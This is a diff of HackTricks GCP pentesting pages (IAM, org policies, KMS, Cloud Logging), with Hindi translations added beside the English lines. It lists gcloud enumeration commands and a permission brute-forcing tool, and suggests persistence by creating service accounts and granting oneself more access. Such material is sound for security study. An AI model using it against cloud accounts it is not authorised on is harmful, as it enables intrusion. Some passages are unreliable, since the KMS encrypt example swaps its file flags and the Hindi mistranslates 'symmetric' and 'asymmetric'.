[**दस्तावेज़ों**](https://cloud.google.com/resource-manager/docs/default-access-control) के अनुसार: जब एक संगठन संसाधन बनाया जाता है, तो आपके डोमेन में सभी उपयोगकर्ताओं को डिफ़ॉल्ट रूप से **बिलिंग खाता निर्माता** और **प्रोजेक्ट निर्माता** भूमिकाएँ दी जाती हैं। ये डिफ़ॉल्ट भूमिकाएँ आपके उपयोगकर्ताओं को तुरंत Google Cloud का उपयोग शुरू करने की अनुमति देती हैं, लेकिन आपके संगठन संसाधन के नियमित संचालन में उपयोग के लिए नहीं होती हैं।
|
||||
|
||||
These **roles** grant the **permissions**:
|
||||
ये **भूमिकाएँ** **अनुमतियाँ** प्रदान करती हैं:
|
||||
|
||||
- `billing.accounts.create` and `resourcemanager.organizations.get`
|
||||
- `resourcemanager.organizations.get` and `resourcemanager.projects.create`
|
||||
- `billing.accounts.create` और `resourcemanager.organizations.get`
|
||||
- `resourcemanager.organizations.get` और `resourcemanager.projects.create`
|
||||
|
||||
Moreover, when a user creates a project, he is **granted owner of that project automatically** according to the [docs](https://cloud.google.com/resource-manager/docs/access-control-proj). Therefore, by default, a user will be able to create a project and run any service on it (miners? Workspace enumeration? ...)
|
||||
इसके अलावा, जब एक उपयोगकर्ता एक प्रोजेक्ट बनाता है, तो उसे [दस्तावेज़ों](https://cloud.google.com/resource-manager/docs/access-control-proj) के अनुसार **स्वतः उस प्रोजेक्ट का मालिक बना दिया जाता है**। इसलिए, डिफ़ॉल्ट रूप से, एक उपयोगकर्ता एक प्रोजेक्ट बनाने और उस पर कोई भी सेवा चलाने में सक्षम होगा (माइनर्स? कार्यक्षेत्र सूचीकरण? ...)
|
||||
|
||||
> [!CAUTION]
|
||||
> The highest privilege in a GCP Organization is the **Organization Administrator** role.
|
||||
> GCP संगठन में सबसे उच्च विशेषाधिकार **संगठन प्रशासक** भूमिका है।
|
||||
|
||||
### set-iam-policy vs add-iam-policy-binding
|
||||
### set-iam-policy बनाम add-iam-policy-binding
|
||||
|
||||
In most of the services you will be able to change the permissions over a resource using the method **`add-iam-policy-binding`** or **`set-iam-policy`**. The main difference is that **`add-iam-policy-binding` adds a new role binding** to the existent IAM policy while **`set-iam-policy`** will **delete the previously** granted permissions and **set only the ones** indicated in the command.
|
||||
अधिकांश सेवाओं में, आप **`add-iam-policy-binding`** या **`set-iam-policy`** विधि का उपयोग करके एक संसाधन पर अनुमतियों को बदलने में सक्षम होंगे। मुख्य अंतर यह है कि **`add-iam-policy-binding` मौजूदा IAM नीति में एक नई भूमिका बाइंडिंग जोड़ता है** जबकि **`set-iam-policy`** **पहले से दी गई** अनुमतियों को **हटाएगा** और **केवल उन अनुमतियों को सेट करेगा** जो आदेश में निर्दिष्ट हैं।
|
||||
|
||||
### Enumeration
|
||||
|
||||
```bash
|
||||
# Roles
|
||||
## List roles
|
||||
@@ -113,66 +108,55 @@ gcloud iam list-testable-permissions --filter "NOT apiDisabled: true" <resource>
|
||||
## Grantable roles to a resource
|
||||
gcloud iam list-grantable-roles <project URL>
|
||||
```
|
||||
|
||||
### cloudasset IAM Enumeration
|
||||
|
||||
There are different ways to check all the permissions of a user in different resources (such as organizations, folders, projects...) using this service.
|
||||
|
||||
- The permission **`cloudasset.assets.searchAllIamPolicies`** can request **all the iam policies** inside a resource.
|
||||
इस सेवा का उपयोग करके विभिन्न संसाधनों (जैसे संगठनों, फ़ोल्डरों, परियोजनाओं...) में एक उपयोगकर्ता की सभी अनुमतियों की जांच करने के विभिन्न तरीके हैं।
|
||||
|
||||
- अनुमति **`cloudasset.assets.searchAllIamPolicies`** एक संसाधन के भीतर **सभी iam नीतियों** का अनुरोध कर सकती है।
|
||||
```bash
|
||||
gcloud asset search-all-iam-policies #By default uses current configured project
|
||||
gcloud asset search-all-iam-policies --scope folders/1234567
|
||||
gcloud asset search-all-iam-policies --scope organizations/123456
|
||||
gcloud asset search-all-iam-policies --scope projects/project-id-123123
|
||||
```
|
||||
|
||||
- The permission **`cloudasset.assets.analyzeIamPolicy`** can request **all the iam policies** of a principal inside a resource.
|
||||
|
||||
- अनुमति **`cloudasset.assets.analyzeIamPolicy`** एक संसाधन के भीतर एक प्रमुख के सभी iam नीतियों का अनुरोध कर सकती है।
|
||||
```bash
|
||||
# Needs perm "cloudasset.assets.analyzeIamPolicy" over the asset
|
||||
gcloud asset analyze-iam-policy --organization=<org-id> \
|
||||
--identity='user:email@hacktricks.xyz'
|
||||
--identity='user:email@hacktricks.xyz'
|
||||
gcloud asset analyze-iam-policy --folder=<folder-id> \
|
||||
--identity='user:email@hacktricks.xyz'
|
||||
--identity='user:email@hacktricks.xyz'
|
||||
gcloud asset analyze-iam-policy --project=<project-name> \
|
||||
--identity='user:email@hacktricks.xyz'
|
||||
--identity='user:email@hacktricks.xyz'
|
||||
```
|
||||
|
||||
- The permission **`cloudasset.assets.searchAllResources`** allows listing all resources of an organization, folder, or project. IAM related resources (like roles) included.
|
||||
|
||||
- अनुमति **`cloudasset.assets.searchAllResources`** किसी संगठन, फ़ोल्डर, या प्रोजेक्ट के सभी संसाधनों की सूची बनाने की अनुमति देती है। IAM से संबंधित संसाधन (जैसे भूमिकाएँ) शामिल हैं।
|
||||
```bash
|
||||
gcloud asset search-all-resources --scope projects/<proj-name>
|
||||
gcloud asset search-all-resources --scope folders/1234567
|
||||
gcloud asset search-all-resources --scope organizations/123456
|
||||
```
|
||||
|
||||
- The permission **`cloudasset.assets.analyzeMove`** but be useful to also retrieve policies affecting a resource like a project
|
||||
|
||||
- अनुमति **`cloudasset.assets.analyzeMove`** एक संसाधन जैसे प्रोजेक्ट पर प्रभाव डालने वाली नीतियों को पुनः प्राप्त करने के लिए भी उपयोगी हो सकती है।
|
||||
```bash
|
||||
gcloud asset analyze-move --project=<proj-name> \
|
||||
--destination-organization=609216679593
|
||||
--destination-organization=609216679593
|
||||
```
|
||||
|
||||
- I suppose the permission **`cloudasset.assets.queryIamPolicy`** could also give access to find permissions of principals
|
||||
|
||||
- मुझे लगता है कि अनुमति **`cloudasset.assets.queryIamPolicy`** भी प्रिंसिपल्स की अनुमतियों को खोजने के लिए पहुंच प्रदान कर सकती है।
|
||||
```bash
|
||||
# But, when running something like this
|
||||
gcloud asset query --project=<proj> --statement='SELECT * FROM compute_googleapis_com_Instance'
|
||||
# I get the error
|
||||
ERROR: (gcloud.asset.query) UNAUTHENTICATED: QueryAssets API is only supported for SCC premium customers. See https://cloud.google.com/security-command-center/pricing
|
||||
```
|
||||
|
||||
### testIamPermissions enumeration
|
||||
|
||||
> [!CAUTION]
|
||||
> If you **cannot access IAM information** using the previous methods and you are in a Red Team. You could **use the tool**[ **https://github.com/carlospolop/bf_my_gcp_perms**](https://github.com/carlospolop/bf_my_gcp_perms) **to brute-force your current permissions.**
|
||||
> यदि आप **पिछले तरीकों का उपयोग करके IAM जानकारी तक पहुँच नहीं सकते** और आप एक रेड टीम में हैं। आप **इस उपकरण का उपयोग कर सकते हैं**[ **https://github.com/carlospolop/bf_my_gcp_perms**](https://github.com/carlospolop/bf_my_gcp_perms) **अपने वर्तमान अनुमतियों को ब्रूट-फोर्स करने के लिए।**
|
||||
>
|
||||
> However, note that the service **`cloudresourcemanager.googleapis.com`** needs to be enabled.
|
||||
> हालाँकि, ध्यान दें कि सेवा **`cloudresourcemanager.googleapis.com`** को सक्षम किया जाना चाहिए।
|
||||
|
||||
### Privesc
|
||||
|
||||
In the following page you can check how to **abuse IAM permissions to escalate privileges**:
|
||||
अगली पृष्ठ पर आप देख सकते हैं कि **IAM अनुमतियों का दुरुपयोग करके विशेषाधिकार कैसे बढ़ाएँ**:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-iam-privesc.md
|
||||
@@ -192,39 +176,33 @@ In the following page you can check how to **abuse IAM permissions to escalate p
|
||||
|
||||
### Persistence
|
||||
|
||||
If you have high privileges you could:
|
||||
यदि आपके पास उच्च विशेषाधिकार हैं तो आप:
|
||||
|
||||
- Create new SAs (or users if in Workspace)
|
||||
- Give principals controlled by yourself more permissions
|
||||
- Give more privileges to vulnerable SAs (SSRF in vm, vuln Cloud Function…)
|
||||
- नए SAs (या उपयोगकर्ताओं को यदि Workspace में हैं) बना सकते हैं
|
||||
- अपने द्वारा नियंत्रित प्रिंसिपल को अधिक अनुमतियाँ दे सकते हैं
|
||||
- कमजोर SAs को अधिक विशेषाधिकार दे सकते हैं (VM में SSRF, कमजोर क्लाउड फ़ंक्शन…)
|
||||
- …
|
||||
|
||||
## Org Policies
|
||||
|
||||
For an intro about what Org Policies are check:
|
||||
Org Policies के बारे में एक परिचय के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
The IAM policies indicate the permissions principals has over resources via roles, which are assigned granular permissions. Organization policies **restrict how those services can be used or which features are disabled**. This helps in order to improve the least privilege of each resource in the GCP environment.
|
||||
|
||||
IAM नीतियाँ यह संकेत देती हैं कि प्रिंसिपल के पास संसाधनों पर भूमिकाओं के माध्यम से कौन सी अनुमतियाँ हैं, जिन्हें बारीक अनुमतियाँ दी जाती हैं। संगठन नीतियाँ **यह सीमित करती हैं कि उन सेवाओं का उपयोग कैसे किया जा सकता है या कौन सी सुविधाएँ अक्षम हैं**। यह GCP वातावरण में प्रत्येक संसाधन के लिए न्यूनतम विशेषाधिकार को सुधारने में मदद करता है।
|
||||
```bash
|
||||
gcloud resource-manager org-policies list --organization=ORGANIZATION_ID
|
||||
gcloud resource-manager org-policies list --folder=FOLDER_ID
|
||||
gcloud resource-manager org-policies list --project=PROJECT_ID
|
||||
```
|
||||
|
||||
### Privesc
|
||||
|
||||
In the following page you can check how to **abuse org policies permissions to escalate privileges**:
|
||||
इस पृष्ठ पर आप देख सकते हैं कि **कैसे संगठन नीतियों की अनुमतियों का दुरुपयोग करके विशेषाधिकार बढ़ाए जाएं**:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-orgpolicy-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,41 +4,40 @@
|
||||
|
||||
## KMS
|
||||
|
||||
The [**Cloud Key Management Service**](https://cloud.google.com/kms/docs/) serves as a secure storage for **cryptographic keys**, which are essential for operations like **encrypting and decrypting sensitive data**. These keys are organized within key rings, allowing for structured management. Furthermore, access control can be meticulously configured, either at the individual key level or for the entire key ring, ensuring that permissions are precisely aligned with security requirements.
|
||||
[**क्लाउड की प्रबंधन सेवा**](https://cloud.google.com/kms/docs/) **क्रिप्टोग्राफिक कुंजियों** के लिए एक सुरक्षित भंडारण के रूप में कार्य करती है, जो **संवेदनशील डेटा को एन्क्रिप्ट और डिक्रिप्ट करने** के लिए आवश्यक हैं। ये कुंजियाँ की रिंगों के भीतर व्यवस्थित की जाती हैं, जिससे संरचित प्रबंधन संभव होता है। इसके अलावा, एक्सेस नियंत्रण को सावधानीपूर्वक कॉन्फ़िगर किया जा सकता है, या तो व्यक्तिगत कुंजी स्तर पर या पूरे की रिंग के लिए, यह सुनिश्चित करते हुए कि अनुमतियाँ सुरक्षा आवश्यकताओं के साथ सटीक रूप से संरेखित हैं।
|
||||
|
||||
KMS key rings are by **default created as global**, which means that the keys inside that key ring are accessible from any region. However, it's possible to create specific key rings in **specific regions**.
|
||||
KMS की रिंगें **डिफ़ॉल्ट रूप से वैश्विक** के रूप में बनाई जाती हैं, जिसका अर्थ है कि उस की रिंग के अंदर की कुंजियाँ किसी भी क्षेत्र से सुलभ हैं। हालाँकि, **विशिष्ट क्षेत्रों** में विशिष्ट की रिंगें बनाना संभव है।
|
||||
|
||||
### Key Protection Level
|
||||
### कुंजी सुरक्षा स्तर
|
||||
|
||||
- **Software keys**: Software keys are **created and managed by KMS entirely in software**. These keys are **not protected by any hardware security module (HSM)** and can be used for t**esting and development purposes**. Software keys are **not recommended for production** use because they provide low security and are susceptible to attacks.
|
||||
- **Cloud-hosted keys**: Cloud-hosted keys are **created and managed by KMS** in the cloud using a highly available and reliable infrastructure. These keys are **protected by HSMs**, but the HSMs are **not dedicated to a specific customer**. Cloud-hosted keys are suitable for most production use cases.
|
||||
- **External keys**: External keys are **created and managed outside of KMS**, and are imported into KMS for use in cryptographic operations. External keys **can be stored in a hardware security module (HSM) or a software library, depending on the customer's preference**.
|
||||
- **सॉफ़्टवेयर कुंजियाँ**: सॉफ़्टवेयर कुंजियाँ **KMS द्वारा पूरी तरह से सॉफ़्टवेयर में बनाई और प्रबंधित की जाती हैं**। ये कुंजियाँ **किसी भी हार्डवेयर सुरक्षा मॉड्यूल (HSM)** द्वारा सुरक्षित नहीं होती हैं और **परीक्षण और विकास उद्देश्यों** के लिए उपयोग की जा सकती हैं। सॉफ़्टवेयर कुंजियाँ **उत्पादन** उपयोग के लिए अनुशंसित नहीं हैं क्योंकि ये कम सुरक्षा प्रदान करती हैं और हमलों के प्रति संवेदनशील होती हैं।
|
||||
- **क्लाउड-होस्टेड कुंजियाँ**: क्लाउड-होस्टेड कुंजियाँ **KMS द्वारा क्लाउड में** एक अत्यधिक उपलब्ध और विश्वसनीय बुनियादी ढाँचे का उपयोग करके बनाई और प्रबंधित की जाती हैं। ये कुंजियाँ **HSMs द्वारा सुरक्षित** होती हैं, लेकिन HSMs **किसी विशेष ग्राहक के लिए समर्पित नहीं होते**। क्लाउड-होस्टेड कुंजियाँ अधिकांश उत्पादन उपयोग मामलों के लिए उपयुक्त हैं।
|
||||
- **बाहरी कुंजियाँ**: बाहरी कुंजियाँ **KMS के बाहर बनाई और प्रबंधित की जाती हैं**, और क्रिप्टोग्राफिक संचालन में उपयोग के लिए KMS में आयात की जाती हैं। बाहरी कुंजियाँ **ग्राहक की पसंद के अनुसार हार्डवेयर सुरक्षा मॉड्यूल (HSM) या सॉफ़्टवेयर पुस्तकालय में संग्रहीत की जा सकती हैं**।
|
||||
|
||||
### Key Purposes
|
||||
### कुंजी के उद्देश्य
|
||||
|
||||
- **Symmetric encryption/decryption**: Used to **encrypt and decrypt data using a single key for both operations**. Symmetric keys are fast and efficient for encrypting and decrypting large volumes of data.
|
||||
- **Supported**: [cryptoKeys.encrypt](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys/encrypt), [cryptoKeys.decrypt](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys/decrypt)
|
||||
- **Asymmetric Signing**: Used for secure communication between two parties without sharing the key. Asymmetric keys come in a pair, consisting of a **public key and a private key**. The public key is shared with others, while the private key is kept secret.
|
||||
- **Supported:** [cryptoKeyVersions.asymmetricSign](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/asymmetricSign), [cryptoKeyVersions.getPublicKey](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/getPublicKey)
|
||||
- **Asymmetric Decryption**: Used to verify the authenticity of a message or data. A digital signature is created using a private key and can be verified using the corresponding public key.
|
||||
- **Supported:** [cryptoKeyVersions.asymmetricDecrypt](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/asymmetricDecrypt), [cryptoKeyVersions.getPublicKey](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/getPublicKey)
|
||||
- **MAC Signing**: Used to ensure **data integrity and authenticity by creating a message authentication code (MAC) using a secret key**. HMAC is commonly used for message authentication in network protocols and software applications.
|
||||
- **Supported:** [cryptoKeyVersions.macSign](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/macSign), [cryptoKeyVersions.macVerify](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/macVerify)
|
||||
- **समानांतर एन्क्रिप्शन/डिक्रिप्शन**: **एकल कुंजी का उपयोग करके डेटा को एन्क्रिप्ट और डिक्रिप्ट करने** के लिए उपयोग किया जाता है। समानांतर कुंजियाँ बड़े डेटा के वॉल्यूम को एन्क्रिप्ट और डिक्रिप्ट करने के लिए तेज और कुशल होती हैं।
|
||||
- **समर्थित**: [cryptoKeys.encrypt](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys/encrypt), [cryptoKeys.decrypt](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys/decrypt)
|
||||
- **असमान्य हस्ताक्षर**: दो पक्षों के बीच सुरक्षित संचार के लिए कुंजी साझा किए बिना उपयोग किया जाता है। असमान्य कुंजियाँ एक जोड़ी में आती हैं, जिसमें **एक सार्वजनिक कुंजी और एक निजी कुंजी** होती है। सार्वजनिक कुंजी दूसरों के साथ साझा की जाती है, जबकि निजी कुंजी को गुप्त रखा जाता है।
|
||||
- **समर्थित:** [cryptoKeyVersions.asymmetricSign](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/asymmetricSign), [cryptoKeyVersions.getPublicKey](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/getPublicKey)
|
||||
- **असमान्य डिक्रिप्शन**: संदेश या डेटा की प्रामाणिकता को सत्यापित करने के लिए उपयोग किया जाता है। एक डिजिटल हस्ताक्षर एक निजी कुंजी का उपयोग करके बनाया जाता है और संबंधित सार्वजनिक कुंजी का उपयोग करके सत्यापित किया जा सकता है।
|
||||
- **समर्थित:** [cryptoKeyVersions.asymmetricDecrypt](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/asymmetricDecrypt), [cryptoKeyVersions.getPublicKey](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/getPublicKey)
|
||||
- **MAC हस्ताक्षर**: **एक गुप्त कुंजी का उपयोग करके संदेश प्रमाणीकरण कोड (MAC) बनाकर डेटा की अखंडता और प्रामाणिकता सुनिश्चित करने** के लिए उपयोग किया जाता है। HMAC नेटवर्क प्रोटोकॉल और सॉफ़्टवेयर अनुप्रयोगों में संदेश प्रमाणीकरण के लिए सामान्यतः उपयोग किया जाता है।
|
||||
- **समर्थित:** [cryptoKeyVersions.macSign](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/macSign), [cryptoKeyVersions.macVerify](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/macVerify)
|
||||
|
||||
### Rotation Period & Programmed for destruction period
|
||||
### रोटेशन अवधि और विनाश के लिए कार्यक्रमित अवधि
|
||||
|
||||
By **default**, each **90 days** but it can be **easily** and **completely customized.**
|
||||
**डिफ़ॉल्ट रूप से**, प्रत्येक **90 दिन** लेकिन इसे **आसान** और **पूर्ण रूप से अनुकूलित** किया जा सकता है।
|
||||
|
||||
The "Programmed for destruction" period is the **time since the user ask for deleting the key** and until the key is **deleted**. It cannot be changed after the key is created (default 1 day).
|
||||
"विनाश के लिए कार्यक्रमित" अवधि वह **समय है जब उपयोगकर्ता कुंजी को हटाने के लिए कहता है** और जब तक कुंजी **हटाई नहीं जाती**। इसे कुंजी बनाए जाने के बाद नहीं बदला जा सकता (डिफ़ॉल्ट 1 दिन)।
|
||||
|
||||
### Primary Version
|
||||
### प्राथमिक संस्करण
|
||||
|
||||
Each KMS key can have several versions, one of them must be the **default** one, this will be the one used when a **version is not specified when interacting with the KMs key**.
|
||||
प्रत्येक KMS कुंजी के कई संस्करण हो सकते हैं, उनमें से एक को **डिफ़ॉल्ट** होना चाहिए, यह वही होगा जिसका उपयोग तब किया जाएगा जब **KMS कुंजी के साथ बातचीत करते समय कोई संस्करण निर्दिष्ट नहीं किया गया हो**।
|
||||
|
||||
### Enumeration
|
||||
|
||||
Having **permissions to list the keys** this is how you can access them:
|
||||
### गणना
|
||||
|
||||
**कुंजियों को सूचीबद्ध करने के लिए अनुमतियाँ होने पर** आप उन्हें इस प्रकार एक्सेस कर सकते हैं:
|
||||
```bash
|
||||
# List the global keyrings available
|
||||
gcloud kms keyrings list --location global
|
||||
@@ -50,37 +49,32 @@ gcloud kms keys get-iam-policy <KEY>
|
||||
|
||||
# Encrypt a file using one of your keys
|
||||
gcloud kms encrypt --ciphertext-file=[INFILE] \
|
||||
--plaintext-file=[OUTFILE] \
|
||||
--key [KEY] \
|
||||
--keyring [KEYRING] \
|
||||
--location global
|
||||
--plaintext-file=[OUTFILE] \
|
||||
--key [KEY] \
|
||||
--keyring [KEYRING] \
|
||||
--location global
|
||||
|
||||
# Decrypt a file using one of your keys
|
||||
gcloud kms decrypt --ciphertext-file=[INFILE] \
|
||||
--plaintext-file=[OUTFILE] \
|
||||
--key [KEY] \
|
||||
--keyring [KEYRING] \
|
||||
--location global
|
||||
--plaintext-file=[OUTFILE] \
|
||||
--key [KEY] \
|
||||
--keyring [KEYRING] \
|
||||
--location global
|
||||
```
|
||||
|
||||
### Privilege Escalation
|
||||
### विशेषाधिकार वृद्धि
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-kms-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Post Exploitation
|
||||
### पोस्ट शोषण
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-kms-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/#reviewing-stackdriver-logging](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/#reviewing-stackdriver-logging)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,97 +4,92 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
This service allows users to store, search, analyze, monitor, and alert on **log data and events** from GCP.
|
||||
यह सेवा उपयोगकर्ताओं को GCP से **लॉग डेटा और घटनाओं** को स्टोर, सर्च, एनालाइज, मॉनिटर और अलर्ट करने की अनुमति देती है।
|
||||
|
||||
Cloud Logging is fully integrated with other GCP services, providing a centralized repository for logs from all your GCP resources. It **automatically collects logs from various GCP services** like App Engine, Compute Engine, and Cloud Functions. You can also use Cloud Logging for applications running on-premises or in other clouds by using the Cloud Logging agent or API.
|
||||
Cloud Logging अन्य GCP सेवाओं के साथ पूरी तरह से एकीकृत है, जो आपके सभी GCP संसाधनों से लॉग के लिए एक केंद्रीकृत भंडार प्रदान करता है। यह **स्वचालित रूप से विभिन्न GCP सेवाओं** जैसे App Engine, Compute Engine, और Cloud Functions से लॉग एकत्र करता है। आप Cloud Logging का उपयोग ऑन-प्रिमाइसेस या अन्य क्लाउड में चल रहे अनुप्रयोगों के लिए भी कर सकते हैं, Cloud Logging एजेंट या API का उपयोग करके।
|
||||
|
||||
Key Features:
|
||||
|
||||
- **Log Data Centralization:** Aggregate log data from various sources, offering a holistic view of your applications and infrastructure.
|
||||
- **Real-time Log Management:** Stream logs in real time for immediate analysis and response.
|
||||
- **Powerful Data Analysis:** Use advanced filtering and search capabilities to sift through large volumes of log data quickly.
|
||||
- **Integration with BigQuery:** Export logs to BigQuery for detailed analysis and querying.
|
||||
- **Log-based Metrics:** Create custom metrics from your log data for monitoring and alerting.
|
||||
- **Log Data Centralization:** विभिन्न स्रोतों से लॉग डेटा को एकत्रित करें, आपके अनुप्रयोगों और अवसंरचना का समग्र दृश्य प्रदान करें।
|
||||
- **Real-time Log Management:** तात्कालिक विश्लेषण और प्रतिक्रिया के लिए वास्तविक समय में लॉग स्ट्रीम करें।
|
||||
- **Powerful Data Analysis:** बड़े मात्रा में लॉग डेटा को तेजी से छानने के लिए उन्नत फ़िल्टरिंग और खोज क्षमताओं का उपयोग करें।
|
||||
- **Integration with BigQuery:** विस्तृत विश्लेषण और क्वेरी के लिए लॉग को BigQuery में निर्यात करें।
|
||||
- **Log-based Metrics:** निगरानी और अलर्टिंग के लिए अपने लॉग डेटा से कस्टम मैट्रिक्स बनाएं।
|
||||
|
||||
### Logs flow
|
||||
|
||||
<figure><img src="../../../images/image (3) (1) (1).png" alt=""><figcaption><p><a href="https://betterstack.com/community/guides/logging/gcp-logging/">https://betterstack.com/community/guides/logging/gcp-logging/</a></p></figcaption></figure>
|
||||
|
||||
Basically the sinks and log based metrics will device where a log should be stored.
|
||||
बुनियादी रूप से, सिंक और लॉग आधारित मैट्रिक्स यह निर्धारित करेंगे कि लॉग कहाँ स्टोर किया जाना चाहिए।
|
||||
|
||||
### Configurations Supported by GCP Logging
|
||||
|
||||
Cloud Logging is highly configurable to suit diverse operational needs:
|
||||
|
||||
1. **Log Buckets (Logs storage in the web):** Define buckets in Cloud Logging to manage **log retention**, providing control over how long your log entries are retained.
|
||||
- By default the buckets `_Default` and `_Required` are created (one is logging what the other isn’t).
|
||||
- **\_Required** is:
|
||||
Cloud Logging विभिन्न संचालन आवश्यकताओं के अनुसार अत्यधिक कॉन्फ़िगर करने योग्य है:
|
||||
|
||||
1. **Log Buckets (Logs storage in the web):** Cloud Logging में बकेट्स को परिभाषित करें ताकि **लॉग रिटेंशन** का प्रबंधन किया जा सके, यह नियंत्रित करते हुए कि आपके लॉग प्रविष्टियाँ कितनी देर तक रखी जाती हैं।
|
||||
- डिफ़ॉल्ट रूप से बकेट्स `_Default` और `_Required` बनाए जाते हैं (एक वह लॉग कर रहा है जो दूसरा नहीं कर रहा है)।
|
||||
- **\_Required** है:
|
||||
````
|
||||
```bash
|
||||
LOG_ID("cloudaudit.googleapis.com/activity") OR LOG_ID("externalaudit.googleapis.com/activity") OR LOG_ID("cloudaudit.googleapis.com/system_event") OR LOG_ID("externalaudit.googleapis.com/system_event") OR LOG_ID("cloudaudit.googleapis.com/access_transparency") OR LOG_ID("externalaudit.googleapis.com/access_transparency")
|
||||
```
|
||||
|
||||
````
|
||||
|
||||
- **Retention period** of the data is configured per bucket and must be **at least 1 day.** However the **retention period of \_Required is 400 days** and cannot be modified.
|
||||
- Note that Log Buckets are **not visible in Cloud Storage.**
|
||||
|
||||
2. **Log Sinks (Log router in the web):** Create sinks to **export log entries** to various destinations such as Pub/Sub, BigQuery, or Cloud Storage based on a **filter**.
|
||||
- By **default** sinks for the buckets `_Default` and `_Required` are created:
|
||||
- ```bash
|
||||
_Required logging.googleapis.com/projects/<proj-name>/locations/global/buckets/_Required LOG_ID("cloudaudit.googleapis.com/activity") OR LOG_ID("externalaudit.googleapis.com/activity") OR LOG_ID("cloudaudit.googleapis.com/system_event") OR LOG_ID("externalaudit.googleapis.com/system_event") OR LOG_ID("cloudaudit.googleapis.com/access_transparency") OR LOG_ID("externalaudit.googleapis.com/access_transparency")
|
||||
_Default logging.googleapis.com/projects/<proj-name>/locations/global/buckets/_Default NOT LOG_ID("cloudaudit.googleapis.com/activity") AND NOT LOG_ID("externalaudit.googleapis.com/activity") AND NOT LOG_ID("cloudaudit.googleapis.com/system_event") AND NOT LOG_ID("externalaudit.googleapis.com/system_event") AND NOT LOG_ID("cloudaudit.googleapis.com/access_transparency") AND NOT LOG_ID("externalaudit.googleapis.com/access_transparency")
|
||||
```
|
||||
- **Exclusion Filters:** It's possible to set up **exclusions to prevent specific log entries** from being ingested, saving costs, and reducing unnecessary noise.
|
||||
3. **Log-based Metrics:** Configure **custom metrics** based on the content of logs, allowing for alerting and monitoring based on log data.
|
||||
4. **Log views:** Log views give advanced and **granular control over who has access** to the logs within your log buckets.
|
||||
- Cloud Logging **automatically creates the `_AllLogs` view for every bucket**, which shows all logs. Cloud Logging also creates a view for the `_Default` bucket called `_Default`. The `_Default` view for the `_Default` bucket shows all logs except Data Access audit logs. The `_AllLogs` and `_Default` views are not editable.
|
||||
|
||||
It's possible to allow a principal **only to use a specific Log view** with an IAM policy like:
|
||||
|
||||
```json
|
||||
{
|
||||
"bindings": [
|
||||
{
|
||||
"members": ["user:username@gmail.com"],
|
||||
"role": "roles/logging.viewAccessor",
|
||||
"condition": {
|
||||
"title": "Bucket reader condition example",
|
||||
"description": "Grants logging.viewAccessor role to user username@gmail.com for the VIEW_ID log view.",
|
||||
"expression": "resource.name == \"projects/PROJECT_ID/locations/LOCATION/buckets/BUCKET_NAME/views/VIEW_ID\""
|
||||
}
|
||||
}
|
||||
],
|
||||
"etag": "BwWd_6eERR4=",
|
||||
"version": 3
|
||||
}
|
||||
```bash
|
||||
LOG_ID("cloudaudit.googleapis.com/activity") OR LOG_ID("externalaudit.googleapis.com/activity") OR LOG_ID("cloudaudit.googleapis.com/system_event") OR LOG_ID("externalaudit.googleapis.com/system_event") OR LOG_ID("cloudaudit.googleapis.com/access_transparency") OR LOG_ID("externalaudit.googleapis.com/access_transparency")
|
||||
```
|
||||
|
||||
````
|
||||
- डेटा का **रखरखाव अवधि** प्रति बकेट कॉन्फ़िगर की जाती है और यह **कम से कम 1 दिन** होनी चाहिए। हालाँकि, **\_Required की रखरखाव अवधि 400 दिन है** और इसे संशोधित नहीं किया जा सकता।
|
||||
- ध्यान दें कि लॉग बकेट **क्लाउड स्टोरेज में दिखाई नहीं देते।**
|
||||
|
||||
2. **लॉग सिंक्स (वेब में लॉग राउटर):** विभिन्न गंतव्यों जैसे Pub/Sub, BigQuery, या Cloud Storage में लॉग प्रविष्टियों को **निर्यात करने के लिए सिंक्स बनाएं** जो एक **फिल्टर** के आधार पर हैं।
|
||||
